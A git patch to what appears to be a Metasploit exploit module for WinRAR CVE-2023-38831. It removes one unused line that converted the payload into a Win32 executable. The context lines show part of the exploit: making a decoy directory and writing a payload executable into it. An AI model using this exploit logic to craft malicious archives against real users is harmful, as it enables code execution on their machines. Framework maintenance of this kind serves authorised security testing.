From 4d2277faa39251d5afc8cff2b31e2b82a2058059 Mon Sep 17 00:00:00 2001 From: Alex Date: Thu, 7 Sep 2023 21:46:24 +0200 Subject: [PATCH] Update modules/exploits/windows/fileformat/winrar_cve_2023_38831.rb Co-authored-by: Brendan --- modules/exploits/windows/fileformat/winrar_cve_2023_38831.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/windows/fileformat/winrar_cve_2023_38831.rb b/modules/exploits/windows/fileformat/winrar_cve_2023_38831.rb index 5d086d3a216b..bb88c3b5100d 100644 --- a/modules/exploits/windows/fileformat/winrar_cve_2023_38831.rb +++ b/modules/exploits/windows/fileformat/winrar_cve_2023_38831.rb @@ -64,7 +64,6 @@ def exploit decoy_dir = File.join(temp_dir, "#{decoy_name}A") Dir.mkdir(decoy_dir) - exe_payload = Msf::Util::EXE.to_win32pe(framework, payload.encoded) payload_path = File.join(decoy_dir, payload_name) File.open(payload_path, 'wb') { |file| file.write(generate_payload_exe) }